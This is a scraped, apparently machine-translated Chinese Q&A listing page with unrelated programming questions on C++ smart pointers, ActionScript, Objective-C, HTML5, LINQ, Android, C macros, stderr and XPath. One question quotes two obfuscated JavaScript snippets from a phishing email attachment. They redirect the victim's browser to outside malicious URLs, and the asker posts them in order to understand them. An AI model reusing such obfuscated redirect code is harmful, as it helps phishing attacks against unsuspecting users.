问题列表 - 第28602页

C++ 0x unique_ptr取代scoped_ptr取得所有权?

我曾经写过这样的代码:

class P {};

class Q: public P {};

class A {
    // takes ownership
    A(P* p): p_(p) {}

    scoped_ptr<P> p_;
};

A a(new Q);
Run Code Online (Sandbox Code Playgroud)

使用C++ 0x,我应该将A类重写为:

class A {
    // takes ownership
    A(unique_ptr<P>&& p): p_(p) {}

    unique_ptr<P> p_;
};
Run Code Online (Sandbox Code Playgroud)

c++ smart-pointers c++11

19
推荐指数
2
解决办法
2万
查看次数

是否可以使用actionscript 3中的mailto函数向邮件添加附件?

是否可以使用actionscript 3中的mailto函数向邮件添加附件?多数民众赞成,我想用一些数据打开默认的邮件程序撰写窗口,但我还需要添加一个文件作为附件,该文件必须是应用程序的屏幕截图.我做了一些研究,甚至没有发现任何事情,有人有什么想法?所有的帮助将不胜感激,因为我真的失去了这里.提前致谢 ;)

编辑:

    public function onClickEmail(event:MouseEvent):void{
        var url:String = "mailto:juan@wncdevelopment.com?subject=Configurador&body=testing&attachment=C:\Users\Juan\Documents\AvoiderGame\test.bmp";
        var request:URLRequest = new URLRequest(url);
        try {
            navigateToURL(request, '_self');
        } catch (e:Error) {
            trace("Error occurred!");
        }
    }
Run Code Online (Sandbox Code Playgroud)

这没有用:(它打开邮件客户端所有信息都没问题,但没有附加文件

第二编辑:

看起来attachment = path/to/file在新的电子邮件客户端中不再起作用了,我认为它直到outlook 97然后出于安全原因被删除了,所以现在不再这样做了.感谢所有答案,我选择了N. Lucas答案,因为他的答案是正确的,只是不再可能.

mailto flash actionscript-3 email-attachments

5
推荐指数
1
解决办法
2万
查看次数

iphone NSMutableArray在方法结束时丢失对象

在我的应用程序中,一个NSMutableArray在viewDidLoad中填充了一个对象(最终会有很多对象,但我只是在做一个直到我让它正常工作).我还启动了一个计时器,它启动一个需要每隔几秒访问NSMutableArray的方法.NSMutableArray在viewDidLoad中工作正常,但只要该方法完成,它就会丢失该对象.

myApp.h

@interface MyApp : UIViewController {

    NSMutableArray *myMutableArray;
    NSTimer *timer;
}

@property (nonatomic, retain) NSMutableArray *myMutableArray;
@property (nonatomic, retain) NSTimer *timer;
@end
Run Code Online (Sandbox Code Playgroud)

myApp.m

#import "MyApp.h"

@implementation MyApp
@synthesize myMutableArray;

- (void) viewDidLoad {
    cycleTimer = [NSTimer scheduledTimerWithTimeInterval:4.0 target:self selector:@selector(newCycle) userInfo: nil repeats:YES];
MyObject *myCustomUIViewObject = [[MyObject alloc]init];
[myMutableArray addObject:myCustomUIViewObject];
[myCustomUIViewObject release];
NSLog(@"%i",[myMutableArray count]);  /////outputs "1"
}

-(void) newCycle {
    NSLog(@"%i",[myMutableArray count]);  /////outputs "0" ?? why is this??

}
Run Code Online (Sandbox Code Playgroud)

iphone objective-c nsmutablearray ipad

2
推荐指数
1
解决办法
499
查看次数

到目前为止,PC上哪些浏览器支持html5?

我知道大多数浏览器已经在手机上支持HTML5,但PC浏览器的状态是什么,特别是对于HTML5 <video>

什么是良好的网站和资源,以跟上不同浏览器支持HTML5的程度?

html5 html5-video

3
推荐指数
1
解决办法
630
查看次数

System.Linq和System.Data.Linq有什么区别?

我在尝试在方法中声明ChangeAction参数时遇到了麻烦,IDE说我可能缺少命名空间.

所以我右键单击它并解决它,发现已经添加了System.Data.Linq,现在一切都很好.

这两个命名空间有什么区别?

.net c# linq

24
推荐指数
2
解决办法
7309
查看次数

这个Javascript做了什么?

我刚刚发现垃圾邮件发送者正在从我们的域名发送电子邮件,假装是我们,说:

亲爱的顾客,

此电子邮件由ourwebsite.com发送,通知您我们暂时无法访问您的帐户.

我们有理由相信您的帐户可能已被其他人访问过.请运行附件并按照说明操作.

(C)ourwebsite.com(我改变了)

附件是一个包含以下javascript的HTML文件:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>
Run Code Online (Sandbox Code Playgroud)

另一封电子邮件:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Run Code Online (Sandbox Code Playgroud)

任何人都能告诉我它的作用吗?所以我们可以看看我们是否有漏洞,如果我们需要告诉客户这个漏洞......

谢谢

javascript phishing

4
推荐指数
1
解决办法
1070
查看次数

为什么键盘滑动会导致我的应用崩溃?

如果我在我的Moto Droid A855上滑出键盘,它会崩溃我的测试应用程序,下面粘贴了堆栈跟踪.我不明白为什么?

此外,如果我用键盘输出我的应用程序,我的应用程序在启动时立即崩溃.

该应用程序由一个活动组成,该活动包含一个viewflipper作为主视图布局.viewflipper包含两个linearlayouts ...

堆栈跟踪:

06-10 21:10:17.652 E/AndroidRuntime( 3785): Uncaught handler: thread main exiting due to uncaught exception
06-10 21:10:17.668 E/AndroidRuntime( 3785): java.lang.IllegalArgumentException: Receiver not registered: android.widget.ViewFlipper$1@447af0b8
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.app.ActivityThread$PackageInfo.forgetReceiverDispatcher(ActivityThread.java:667)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.app.ApplicationContext.unregisterReceiver(ApplicationContext.java:747)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.content.ContextWrapper.unregisterReceiver(ContextWrapper.java:321)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.widget.ViewFlipper.onDetachedFromWindow(ViewFlipper.java:104)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.view.View.dispatchDetachedFromWindow(View.java:5835)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.view.ViewGroup.dispatchDetachedFromWindow(ViewGroup.java:1076)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.view.ViewGroup.dispatchDetachedFromWindow(ViewGroup.java:1074)
06-10 21:10:17.668 E/AndroidRuntime( 3785):     at android.view.ViewGroup.dispatchDetachedFromWindow(ViewGroup.java:1074)
06-10 21:10:17.668 E/AndroidRuntime( …
Run Code Online (Sandbox Code Playgroud)

crash android viewflipper

9
推荐指数
2
解决办法
8231
查看次数

任何测试扩展C/C++ #define宏的实用程序?

看起来我经常花太多时间试图让#define宏完全按照我的意愿去做.我将在下面发布我目前的困境,任何帮助表示赞赏.但真正更大的问题是,是否有人可以推荐的任何实用程序,以快速显示宏实际上在做什么?如果我看到错误的话,即使是缓慢的试错过程似乎会更快.

目前,我正在从我制作的DLL动态加载一长串函数.我设置的方式,函数指针与导出的函数具有相同的nanes,并且用于原型化的typedef具有相同的名称,但具有前置下划线.所以我想使用一个define来简化长长的函数指针列表的赋值.

例如,在下面的代码语句中,'hexdump'是typedef'd函数点的名称,也是函数的名称,而_hexdump是typedef的名称.如果GetProcAddress()失败,则递增失败计数器.

if (!(hexdump = (_hexdump)GetProcAddress(h, "hexdump"))) --iFail;
Run Code Online (Sandbox Code Playgroud)

所以,假设我想用宏来替换上面的每一行,就像这样......

GETADDR_FOR(hexdump )
Run Code Online (Sandbox Code Playgroud)

那么这是迄今为止我提出的最好的.它不起作用(我的//注释只是为了防止消息中的文本格式化)...

// #define GETADDR_FOR(a) if (!(a = (#_#a)GetProcAddress(h, "/""#a"/""))) --iFail; 
Run Code Online (Sandbox Code Playgroud)

而且,虽然我很了解我已经犯下了什么愚蠢的错误,但是通过简单地插入我的宏,这将使我的日子能够显示出我的方式错误.

c++ macros c-preprocessor

34
推荐指数
4
解决办法
2万
查看次数

C:如何将stderr从System-command重定向到stdout或文件?

shell命令将$ avrdude -c usbtiny文本输出到stderr.我无法通过诸如head-less-more之类的命令来阅读它.它不是stdout.我想要文本stdout或文件.我怎么能用C做呢?我试图通过我的上一个问题解决问题,但仍未解决.

c stdout file-descriptor stderr

8
推荐指数
1
解决办法
2万
查看次数

如何使用XPath按TextContent过滤元素?按轴获得父母?

在SO上发现了类似的问题,然而,这似乎并不是我想要实现的:

比如,这是一个示例XML文件:

<root>
    <item>
        <id isInStock="true">10001</id>
        <category>Loose Balloon</category>
    </item>
    <item>
        <id isInStock="true">10001</id>
        <category>Bouquet Balloon</category>
    </item>
    <item>
        <id isInStock="true">10001</id>
        <category>Loose Balloon</category>
    </item>
</root>
Run Code Online (Sandbox Code Playgroud)

如果我想从这个XML中获取item元素的"过滤"子集,我怎么能使用XPath表达式来直接解决这个问题呢?

XPathExpression expr = xpath.compile("/root/item/category/text()");
Run Code Online (Sandbox Code Playgroud)

我现在知道这将评估为类别中所有TextContent的集合,但是,这意味着我必须使用集合来存储值,然后迭代,然后再返回以获取其他相关信息,例如项目ID .

另一个问题是:我怎样才能正确引用父节点?

比方说,这个xpath表达式会让我得到所有id节点的集合,对吧?但我想要的是项目节点的集合:

XPathExpression expr = xpath.compile("/root/item/id[@isInStock='true']");
Run Code Online (Sandbox Code Playgroud)

我知道我应该使用"父"轴来指代它,但我无法做到正确...

有没有更好的方法来做这种事情?现在学习w3cschools教程......

对不起,我是Java的XPath新手,非常感谢.

java xml xpath

3
推荐指数
1
解决办法
9926
查看次数